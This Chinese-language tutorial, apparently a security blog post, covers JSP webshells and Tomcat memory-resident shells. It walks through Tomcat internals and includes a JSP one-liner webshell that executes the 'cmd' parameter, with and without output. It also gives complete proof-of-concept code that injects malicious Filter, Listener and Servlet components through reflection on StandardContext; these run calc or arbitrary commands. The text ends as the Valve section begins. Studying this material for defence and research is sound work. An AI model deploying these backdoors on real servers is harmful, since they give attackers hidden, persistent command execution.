JSP木马

1
2
3
JSP是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页

文件格式如下,这里也有点像html等前端语言

1
<% 代码逻辑 %>

这里也等价于xml语言中的

1
2
3
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

一个简单的用法

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<h2>test1</h2>
<% String name="hello world";%>
<% out.println(name); %>
</body>
</html>

JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

指令描述<%@ page … %>定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等<%@ include … %>包含其他文件<%@ taglib … %>引入标签库的定义,可以是自定义标签

JSP的注释

1
<%-- 注释内容 --%>

JSP内置对象

1
2
3
4
5
JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP 规范提供,不用编写者实例化
通过 Web 容器实现和管理
所有 JSP 页面均可使用
只有在脚本元素的表达式或代码段中才能使用

对象类型描述requestjavax.servlet.http.HttpServletRequest获取用户请求信息responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端responsejavax.servlet.jsp.JspWriter输出内容到 HTML 中sessionjavax.servlet.http.HttpSession用来保存用户信息applicationjavax.servlet.ServletContext所有用户共享信息configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性pagejavax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面exceptionjava.lang.Throwable该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

下面一个简单的一句话木马例子,但是是无回显的

1
2
3
4
5
6
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
Runtime.getRuntime().exec(cmd);
}
%>

下面是有回显的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");

}
%>

Tomcat框架学习

相关链接:https://goodapple.top/archives/1359

这里其实是javaweb的知识体系,在配置一个web项目时,一般多采用Tomcat来搭建,这里可以把Tomcat看成是Web服务器+Servlet容器

Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone返回给Connector,然后Connector再将ServletRespone解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信

下面是Tomcat框架图:

由整个图可以看出来Tomcat Server的组成可以分为3个,Service Connector Container

1
2
3
4
5
6
/*
简单说明一下
Service的作用:为连接器与引擎的桥梁,作为中间层,将多个连接器与一个引擎绑定在一起,确保请求能够正确地从连接器传递到引擎
Connector的作用:用于连接客户端与Tomcat核心组键Container的交互
Container的作用:它是Tomcat核心,主要负责管理Servlet的生命周期、处理请求和响应等关键功能
*/

在Container里面包含四种子容器:Engine、Host、Context和Wrapper

1
2
3
4
Engine: 可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host
Host: 可以看成一个虚拟主机,一个Tomcat可以支持多个虚拟主机。
Context: 又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)
Wrapper: 是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

JavaWeb三大组件

这里简单介绍一下

Servlet

Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestSerclet对象并发送到对应的Servlet上进行处理

1
2
3
4
5
6
Servlet的生命周期分为如下五个阶段
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

Filter

Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能。下面是Filter在Server中的调用流程图

Listener

Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。

1
2
3
4
下面有几个与Listener相关的概念
事件:某个方法被调用,或者属性的改变
事件源:被监听的对象(如ServletContext、requset、方法等)
监听器:用于监听事件源,当发生事件时会触发监听器

监听器的分类

监听器一共有如下8种

事件源监听器描述ServletContextServletContextListener用于监听 ServletContext 对象的创建与销毁过程HttpSessionHttpSessionListener用于监听 HttpSession 对象的创建和销毁过程ServletRequestServletRequestListener用于监听 ServletRequest 对象的创建和销毁过程ServletContextServletContextAttributeListener用于监听 ServletContext 对象的属性新增、移除和替换HttpSessionHttpSessionAttributeListener用于监听 HttpSession 对象的属性新增、移除和替换ServletRequestServletRequestAttributeListener用于监听 HttpServletRequest 对象的属性新增、移除和替换HttpSessionHttpSessionBindingListener用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件HttpSessionHttpSessionActivationListener用于监听 HttpSession 中对象活化和钝化的过程

这里三者的加载顺序

1
Listener->Filter->Servlet

前置知识

根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上 调式时候需要导入对应tomcat版本的jar包

Tomcat内存马

相关链接:https://yyjccc.github.io/2024/03/06/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC/

前置知识

根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>

根据上面的前置知识,这里可以分为Filter型,Listener型,Servlet型

Filter型

首先创建一个普通的Filter例子,前提是先创建一个对应的路由

Servlet服务

1
2
3
4
5
6
7
8
9
10
11
12
13
@WebServlet("/web1")
public class web1 extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String name = "this is web1";
PrintWriter out = res.getWriter();
out.println(name);
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}
}

Filter服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebFilter("/web1")
public class Filter1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("执行了操作");
chain.doFilter(request,response);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}

下面进行调试看是如何创建Filter的,java内存马的原理和python内存马的原理差不多,python是注册一个新的路由,而java可以从多处处理,这里的Filter也是一方面,在访问路由时先访问我们构造好的恶意的Filter代码,这样就可以实现内存马的作用,所以在构造前需要先搞清楚它是如何实现的

在我们的chain中已经有了filter的身影,接下来我们就可以从这里出发往前找,先看看调用栈

下面来到ApplicationFilterChain#internalDoFilter方法里面

这里存在filter的创建且filter正是chain里面的,它是通过filterConfig#getFilter方法获取,一个filterConfig对应一个Filter,用于存储Filter的上下文信息,而filterConfig是从属性filters – ApplicationFilterConfig数组中获得,但是这里还不是来源,还得往前找

上一步就来到了StandardContextValve#invoke方法里面

ApplicationFilterFactory#createFilterChain方法很关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();


String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
return filterChain;
}
}

(这里去除了无用代码)

方法的上半段是创建一个ApplicationFilterChain对象用来放置一个个filterConfig对象,而filterConfig对象又对应一个filter对象的信息,下面分析它是如何获取filterConfig的

这里它先通过wrapper.getParent();获取StandardContext对象,下面通过StandardContext#findFilterMaps获取到各Filter的信息,及下图的filterMaps

最后就是通过遍历filterMaps通过filterMap来创建一个个filterConfig再通过filterChain.addFilter添加,这里就可以看看它是如何添加的

这里最后放到了filters数组里面,这里和后面的创建filter相照应,可以借前面的图看看

从这里也可以知道对于filter的调用是先创建的先被调用

其实到这里是从context中拿到一些属性进行操作,将filterConfig放入到FilterChain中 ,Filter内存马的思路就是,在放入FilterChain之前我们就通过反射赋值或者增加一些内容,然后tomcat就会自动的调用上面流程的代码,将恶意的filter放入filterChain,再进行调用调用其实如下图:

总之,注入内存马是在上游的操作,而上面分析的流程在下游部分

由于知道一个Filter对象是通过FilterConfig对象的信息来创建,这里就可以看看FilterConfig对象有哪些信息

这里filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息 上下文对象StandardContext实际上是包含FilterConfigs、FilterDefs和FilterMaps了这三者的

这里先看看filterDef,这里存在几个主要的属性值,filter,filterClass,filterName

然后就是context属性里面的filterConfigs与filterDefs都是HashMap类型,里面存放的信息相同

其次是里面的filterMaps属性值里面存放的东西,以array的形式存放各filter的路径映射信息,主要的属性为filterName、urlPatterns、charset

下面就是通过上述信息,来完成一个恶意的filter创建,具体如下:

1
2
3
4
5
获取StandardContext对象
创建恶意Filter
使用FilterDef对Filter进行封装,并添加必要的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Filter2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}

使用FilterDef封装**filter**

1
2
3
4
5
6
String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new Filter2());
filterDef.setFilterClass(Filter2.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

创建filterMap

filterMap用于filter和路径的绑定

1
2
3
4
5
FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

封装filterConfig及filterDef到filterConfigs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
<%!
public class Filter2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}
%>
<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%
String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new Filter2());
filterDef.setFilterClass(Filter2.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);


%>

这里触发的条件就是先访问创建的jsp文件,如何就已经创建恶意的filter,或者直接创建一个恶意的路由,创建的方法也是一样,当然也可以注入恶意的Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@WebServlet("/web1")
public class web1 extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
ServletContext servletContext = req.getSession().getServletContext();
try {
Field appContext=servletContext.getClass().getDeclaredField("context");
appContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContext.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new test1());
filterDef.setFilterClass(test1.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}
}

Listener型

对于Listener型的分析和Filter型其实差不多,也是需要先知道Listener监听的创建流程,将恶意的Listener监听器创建,并且放入创建的容器即可

这里先介绍一下Listener的作用,它主要用来监听对象的创建、销毁、属性增删改,对于执行顺序的先后为Listener->Filter->Servlet依次执行

将监听的对象不同,大致可以分为下面的三类

1
2
3
ServletContextListener  //应用程序的启动和销毁事件
HttpSessionListener //这个的触发条件为创建session会话时,或者结束时
ServletRequestListener //用来监听ServletRequest对象,及访问web应用时

综合三种Listener监听器的触发条件,还是通过ServletRequestListener更为方便

下面先创建一个简单的ServletRequestListener类,来分析其创建的过程

1
2
3
4
5
6
7
8
9
10
11
@WebListener("/*")
public class eval implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行力Test requestInitialized");
}

}

每次刷新都会调用其requestDestroyed和requestInitialized方法

下面通过调试来获取创建时的调用栈,如下图所见

下面到达StandardContext#fireRequestInitEvent方法里面,开始回溯创建过程,这里看到listener是通过instance来获取,而instance是遍历instances数组,创建instances数组,instances数组是通过getApplicationEventListeners方法来获取,所以这里需要跟进getApplicationEventListeners方法来看看

但是跟进方法中这里就是直接返回了applicationEventListenersList数组

1
2
3
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

下面就找有关applicationEventListenersList属性的东西,先是看到它是有关List类型

添加进applicationEventListenersList集合里面是通过StandardContext#addApplicationEventListener方法,这里就找到可以注入恶意listener的方法,因为在java中Context对象是全局共享的

下面就是获取StandardContext将恶意的listener注入,和上面注入Filter型一样,可以通过jsp,或者通过web路由来实现注入,但是这里还有其它方法来获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
<%
ServletRequestListener eval=new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("恶意内存马创建成功");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
};
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(eval);
%>

这里需要注意一点如果通过WebappClassLoaderBase的方式来获取StandardContext就需要通过当前环境下的特定的classloader方法,不然就无法强转为WebappClassLoaderBase,在Tomcat中可以正常通过WebappClassLoaderBase获取StandardContext就需要的是Tomcat的构造器WebappClassLoader,如果是URLClassLoader将无法正常加载,所以如果我们通过TemplatesImpl来动态注册一个listener时就无法成功

比如先创建一个恶意的类,构造方法就是注册内存马的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class cmd {
public cmd(){
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletRequestListener eval=new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("恶意内存马创建成功");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
};
standardContext.addApplicationEventListener(eval);
}

public static void main(String[] args) {
System.out.println("1");
}
}

创建一个web路由,如果按我们所想就应该在调用templates#getOutputProperties时,就可以加载cmd字节码并且进行实例化,从而生成恶意的listener,但是结果却没有实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@WebServlet("/aaa")
public class request extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String name = "this is web1";
PrintWriter out = res.getWriter();
out.println(name);
TemplatesImpl templates = new TemplatesImpl();
try {
Class templatesClass = templates.getClass();
Field name1 = templatesClass.getDeclaredField("_name");
name1.setAccessible(true);
name1.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/cmd.class"));
byte[][] codes={code};
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
bytecodes.set(templates,codes);
templates.getOutputProperties();
} catch (Exception e) {
}
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}

}

通过下面调试获取其classloader,这里是ParallelWedappClassLoader,其父类为URLClassLoader方法,这里就导致一些在Tomcat的类无法正常被加载,导致注册失败

虽然这里无法正常的实现但是还有其它方法,不仅仅只有上述方法来获取StandardContext对象,比如可以通过遍历当前的进程来实现获取,最后获取StandardContext对象

Servlet**型**

先了解一下Servlet创建流程

1
2
3
4
5
6
7
/*
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作
*/

这里可以知道如果想要注册一个恶意的servlet内存马,最好利用是通过service方法,因为它的触发条件为请求访问时调用,下面就先创建一个恶意的servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@WebServlet("/*")
public class service extends HttpServlet {
public void init(ServletConfig config) throws ServletException {
System.out.println("init 触发");
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
System.out.println("service 触发");
}
}

首先先明白一点,servlet是由上下文context创建wrapper包装,所以我们需要先了解wrapper的创建

在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进

来到fireLifecycleEvent方法里面

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数,里面通过调用configureContext方法来从context里面获取web.xml里面的信息,跟进去看

最后通过ContextConfig#addServletContainerInitializer来添加

下面是加载StandWrapper的过程分析

首先在StandardContext#startInternal方法里面通过findChildren()获取StandardWrapper类

下面通过loadOnStartUp()方法加载wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public boolean loadOnStartup(Container children[]) {

// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}

// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;

}

在里面添加了一个if判断,其中就是对于wrapper的loadOnStartup进行判断,只有loadOnStartup大于0才可以继续往下进行加载wrapper

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中,所以这里需要手动的修改loadOnStartup,使其能加载到内存部分

注册动态的Servlet

1
2
3
4
5
6
7
8
获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
设置StandardWrapper对象的loadOnStartup属性值
设置StandardWrapper对象的ServletName属性值
设置StandardWrapper对象的ServletClass属性值
将StandardWrapper对象添加进StandardContext对象的children属性中
通过StandardContext.addServletMappingDecoded()添加对应的路径映射

创建StandardContext

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

下面创建恶意的Servlet类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

下面创建wrapper并且将其放置到standardContext

1
2
3
4
5
6
7
8
9
10
11
12
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);

完整的poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res){
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

Valve型

对于tomcat的管道机制简单介绍

管道机制有一个核心的容器主键(Pipeline),它的作用是处理请求

对于从contianer中获取的请求体,需要通过使用Pipeline容器来一层一层的调用Valve闸门,这里主要通过Valve属性的invoke来对请求进行处理,并作出相应

具体流程如下图

下面就是对于Pipeline负责链调用流程的简单分析

首先看到Pipeline接口里面声明的方法,其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Pipeline{

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public void findNonAsyncValves(Set<String> result);
}

